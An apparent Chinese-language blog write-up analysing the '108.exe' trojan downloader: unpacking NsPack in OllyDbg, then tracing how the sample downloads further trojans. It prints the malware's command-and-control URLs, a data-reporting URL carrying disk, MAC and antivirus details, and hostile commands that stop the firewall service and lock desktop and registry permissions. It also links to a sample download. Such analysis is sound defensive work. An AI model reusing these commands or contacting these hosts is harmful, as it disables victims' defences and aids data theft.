108.exe下载器分析报告

108.exe下载器分析报告

 
 
P.S.这块刚刚才入门,比较粗糙,请多多指教。
更新样本下载链接: http://download.csdn.net/detail/magictong/3898092


基本信息
文件名:108.exe
MD5:d7d7b22d096fc1568d5781e2df614734
属性:16372字节,无签名
调试运行环境:XPSP3
调试工具:OD IDA WinHexPEID
 
总结
样本是一个下载器,主要做两件事情,其一是破坏用户的一些环境,但是并没有去干掉杀软,从木马下载列表中下载木马运行;其二是搜集客户端的一些敏感信息进行上报(注:总结是分析完之后的概括)。
 
 
第一步,查壳
上PEID v0.95(官网)。
显示Nothing found[Overlay] *,Overlay的意思是有附加信息。但是看那个EP Setion的段名是nsp1,这么怪异,而且只有两个段,还有一个段是nsp0,用了下PEID的深扫,显示有壳的可能性很大。其实看这个段名基本可以猜到是有壳的。
但是如果不知道壳的名字,手脱也很麻烦,只好下了一个PEID的全插件版,这下出来了,显示信息NsPack 1.4 -> Liuxingping [Overlay] *,NsPack1.4的壳,神马玩意,先用PEID的通用脱壳试了下(警告:通用脱壳是需要运行起来的,并不是静态脱壳,谨慎使用),没搞定。到网上查了下这个NsPack 1.4壳,手脱不是很麻烦,开始吧!
 
第二步:脱壳
上OD。
         首先用OD把这个exe文件打开,直接就来到了:


         这个地方需要注意的是,可能是加壳后段没有对齐的缘故,如果鼠标上下滚动,OD里面的汇编指令会乱掉。但是入口地址是没错了0040A2B4(对比PEID显示的OEP信息)。
         按照网上的脱壳教程:
1、按两次F7(单步),走到指令CALL0040A2BB(上图),貌似是调用一个函数( 流程猜测:看这个CALL的地址,实际就是这条CALL指令的下一条指令的地址,而它的下一条指令是POP EBP,什么意思?CALL指令会把下一条指令地址0040A2BB压入堆栈,然后执行POPEBP,堆栈上的0040A2BB被移除,同时给EBP 赋值为 0040A2BB)。
2、注意现在ESP的值是0012FFA0,对这个值下一个硬件访问断点(通过命令Hr 0012FFA0)。
3、现在来到了此处,走到了POPFD指令,嗯,可以和最开始的PUSHFD指令相呼应了,也许马上就水落石出了,注意到下一条的JMP 0040347F,这是一个E9长跳转,单步过去。


         4、现在是到这里了,这个地方应该就是真正的OEP入口。


看着怪怪的,用OD分析一下代码,如下图,就很清晰了,简单看下MOV EAX, DWORD PTR FS:[0], ESP附近的几句代码应该就是安装异常处理链(对应到VC中是_try_catch)。


         5、dump文件,使用OD的插件OllyDump即可,注意选取OEP为0000347F。脱壳之后我给这个新PE起名为UnPack_108.exe,这个PE可能比较简单,不需要再额外重建输入表和清除自校验,但是原来的程序是有附加数据的(Overlay),需要把这块数据用16进制编辑工具附加到脱壳之后的PE文件UnPack_108.exe的尾部,然后就可以使用了。过程有点麻烦,而且很有需要修复导入表,如果修复不成功是没法运行起来的。其实也可以不用dump文件而直接继续调试。只是每次都要手脱一下,可惜OD没有那种通过宏来保存操作的功能,否则可以把手脱的过程录制成宏。看看效果吧,o(∩_∩)o ,居然是VC6写的。
 
第三步:样本分析
先在虚拟机里面运行一下,会发现样本会启动一个和自己同名的进程(就是自己),会在C盘下创建一个名字叫winup的文件夹,不能向桌面拷贝文件,这是一些看得到的特征。
现在可以在上面的OD里面继续分析,或者重新用OD直接分析UnPack_108.exe这个文件,可以查看一下参考字符串,有如下一些(列举了一部分):
进程名:
360tray.exe
360sd.exe
Ravmond.exe
Avp.exe
Ekrn.exe
Kissvc.exe
Avguard.exe
Vptray.exe
Mpmon.exe
Mcshield.exe
……还有很多,我想你们懂的。
URL:
www.hao333.com/1.7
www.ho333.com/1
注册表:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace[8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace[8]"
API:
WinExec                     (启动进程?)
InternetReadFile      (下载?)
……         (还有很多)
其它信息:
C:\regset.ini
C:\winup\kb3716%d.exe
mutex_cpa_.la                   (注:这是一个mutex的名字么?)
mutex_cj1_.la
c:\baidu.dat
net stop sharedaccess              (注:停掉共享服务?)
收获不少吧。我们还是一步步的跟踪下这个样本到底干了些啥吧。


 
好,现在开始!
1、用IDA可以简单看一下脱壳之后的程序,入口是winmain,当然程序的起始并不是winmain函数的第一句代码,前面还有很多初始化操作,我们可以看到,最开始是安装了一个系统SEH(结构化异常处理)结构(关于SHE和_try_catch的原理几个小时都讲不完,但是看到访问FS:[0]不出意外肯定是增长结构化异常处理链,VC编译器都会在初始化程序里面插入一段保护),前面可以迅速单步过掉,都是msvcrt里面的初始化代码。当走到GetStartupInfoA的时候要注意,马上就要进入WinMain函数了。
 
2、WinMain里面极其简单,调用几个无关紧要的API之后,最后调了函数TarpException(我给它起的名字,里面仅仅是触发了一个异常(故意触发,向29C地址写入6),然后流程就全部转到异常处理函数了),异常处理函数的地址是00403610,触发异常前先给00403610用BP命令下断(BP  00403610)。
 
3、下面遇到一点小波折,在那个msvcrt的异常处理函数里面转了半天才进入真正的模块“异常处理函数”( 这个地方应该有更简洁的方法,从_try_catch的内部实现来讲,它实际是对SHE异常链结构体进行了扩展,每个用_try_catch包起来的地方的异常处理函数都是msvcrt里面的_excpt_handler3,然后它通过插入一些特殊的数据,使得_excpt_handler3能够找到真正处理异常的客户代码,当然中间还有处理堆栈展开之类的操作,这个看来值得研究一下)。(后记:很囧的是,我后来发现直接alt+F9就回到客户代码,竟然忘记了o()︿))o )
 
4、真正干活的地方开始了(BP  004020D8,前面的那些做法,无非就是病毒作者让代码段看起来极其的小,可能是免杀吧)。
 
1) 获得google.txt文件
读取了自身文件最后的500个字节数据(附加的那段数据),把这段数据与0x35异或,我们也可以如法炮制,把这段数据直接从文件里面拷贝出来用winhex异或之后发现获得了这样一段数据:
$#ID=108$ID$COT=http://web.9981ly.com:882/admin/count.php$COT$TXT=http://web.9981ly.com:6668/Down/google.txt$TXT$


这段字符串猜测是获取文件http://web.9981ly.com:6668/Down/google.txt,但是可能是因为这个样本太老了,这个文件已经无法下载了( 但是我们可以猜测里面应该是其他木马或者病毒的地址之类)。


这个地方如果解密失败(通过判断前两个字节是不是0x2423),会弹出一个MessageBox,提示Error, Haven’t Write Code,如果你脱壳的时候没有加上这段附加数据,就会提示这个错误。解密成功的话会解析出URL(相当纠结):http://web.9981ly.com:6668/Down/google.txt并在后面拼出来一批css文件的URL:
http://web.9981ly.com:6668/Win7/s/mp/g.css
http://web.9981ly.com:6668/Win7/s/mp/h.css
http://web.9981ly.com:6668/down/ext/GetPcInfo.exe
 
把PHP脚本的URL也取出来了,如下:
http://web.9981ly.com:882/admin/count.php
http://web.9981ly.com:882/admin/getipaddr.php
 
同时最后这段硬编码拼出来下面一个文件的URL地址(可惜也不能下载了):
http://web.9981ly.com:6668/down/baidu.txt
 
2) 流程继续往下走时,会判断命令行,如果没有命令行,则调用系统的WinExec函数,启动一个带命令行的自身(这就是为什么开头的表现会有两个进程的缘故),然后第一个进程就退出了。
 
3) 我们现在用带命令行的方式再次调试该样本。很恶心的是,它的命令行是sj.c这样一个字符串,但是这个地方代码里面是找是否有a.exe,很奇怪,这里没弄明白。我先直接修改EAX的值,让样本走另一条流程。
 


4) 调用下载函数下载 http://web.9981ly.com:882/admin/getipaddr.php,可惜已经无法下载到了。
 
5) 创建一个名为mutex_cpa_.la的Mutex,用途:进程互斥,如果该mutex已经创建,则直接退出,看来它只想运行一个带命令行的程序。
 
6) 创建下载器木马注册表项,居然还有版本号的,如果第一运行会写下面这个注册表位置的版本号为1.0。[HKEY_LOCAL_MACHINE\SOFTWARE\CPACO]     "ListVer"="1.0"
 
7) [BP  00402949] 创建名为mutex_cj2.la的mutex,如果已经存在这个mutex,程序就直接退出了。通过WinExec调用net stopsharedaccess关闭连接共享和防火墙服务。
 
8)删除文件c:\Program Files\nowlist.dat,然后下载http://web.9981ly.com:6668/Down/google.txt到文件c:\ProgramFiles\nowlist.dat。可惜无法看到这个文件里面的内容了。因为下载不到该文件,会影响执行流程,我们可以创建这样的一个文件,引导程序继续执行。读取文件nowlist.dat,判断文件头是不是“嘿嘿,这是标头哦”,如果是则读取文件中记录的木马的URL地址进行下载并运行。
 
9) [bp 0040238B],如果木马已经在系统跑过一次了,下次运行的时候,流程会有一些变化,准确的说,木马还进行了流程优化……6)里面讲到木马会写版本号,如果没有这个注册表键值,表示是第一次运行,木马还会做更多的事情。
 
下面是没有写注册表版本号的流程,从上面的6) 之后有些变化。
10) 首先进行的事情可以理解为收集信息并进行收据上报( 病毒木马也有数据上报的……它们上报来干嘛?你可以想象),上报的URL是(我的虚拟机的调试结果,里面的id是硬编码信息,pc是硬盘和IP信息,PcType是表示是家用计算机还是网吧计算机,AvName表示杀软进程信息):http://web.9981ly.com:882/admin/count.php?id=108&isInst=1&lockcode=-4452&pc=00000000000000000001/000C29CD5297&PcType=HomePc&AvName=OtherOrNone&ProCount=22,收集的信息有如下一些:
a、获取网卡信息,系统信息,依次访问设备 \\.\PhysicalDrive0 \\.\PhysicalDrive01 \\.\PhysicalDrive2 \\.\PhysicalDrive3,获取硬盘信息(VMwareVirtual IDE Hard Drive)。
b、枚举用户进程,判断是否有下列杀软或者安全软件进程名(硬编码):"360tray.exe" "360sd.exe" "Ravmond.exe""avp.exe" "ekrn.exe" "kissvc.exe" "kvsrvxp.exe""avguard.exe" "MPMon.exe" "Mcshield.exe" "VPTray.exe""ashWebSv.exe",如果没有则标记为OtherOrNone(它这里仅仅是上报用户的杀软使用情况,并没有去干掉杀软,与之前的想法有点出入)。
c、枚举用户进程,判断是否有下列进程名(硬编码):clsmn.exe Barclient.exe scon.exe pubwenclien.exe BarClientView.exemzdclient.exe EWay.exe NxpAuxSvc.exe,如果有则标记为WangbaPc,否则标记为HomePc(Wangba,Home这是拼音和英文的完美结合么)。
 


11) 信息搜集完了,下面又该干活了。同样也是创建了一个名为mutex_cj1.la的mutex用于判断是否已经有同样程序在运行了。


a、在c盘下创建c:\winup文件夹;
b、运行“net stop sharedaccess”关闭连接共享和防火墙服务;
c、从http://web.9981ly.com:6668/down/baidu.txt下载木马list文件并保存为c:\baidu.dat,从c:\baidu.dat中读取木马链接,依次下载木马(下载到c:\winup文件夹下,但是因为下载链都失效了,因此实际下载不到木马)并运行木马,每次间隔1秒钟。全部搞完之后有个30秒的停顿(这是想休息一下?)。
d、创建管道和cmd进程,创建管道的目的是接管cmd进程的输入和输出。然后执行了两条命令(cacls命令用来显示或者修改文件的访问控制表ACL),执行这两条命令之后你会发现你无法向桌面拷贝文件了,因为只有读权限了( 可以用命令cacls "c:\Documents and Settings\Administrator\桌面" /g everyone:f来恢复):
cacls"%userprofile%\桌面" /g everyone:r
cacls "C:\Documentsand Settings\All Users\桌面"  /g everyone:r
e、在C盘创建文件c:\regset.ini文件,然后写入如下的字符串:
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace[8]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace[8]"
然后在cmd下面执行命令 regini c:\regset.ini 命令(注:regini命令用来修改对注册表键值的访问权限),执行结束后删除c:\regset.ini文件。执行这个命令后,用户对上述两个字符串键值就只有只读权限了。


f、然后是跟8) 相同的操作,下载木马运行,具体可以看8)。最后的一个Sleep长达15分钟。
g、然后程序在注册表:
[HKEY_LOCAL_MACHINE\SOFTWARE\CPACO]
"ListVer"="1.0"
写版本信息,退出程序。
 
 
 
 
[*over]
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值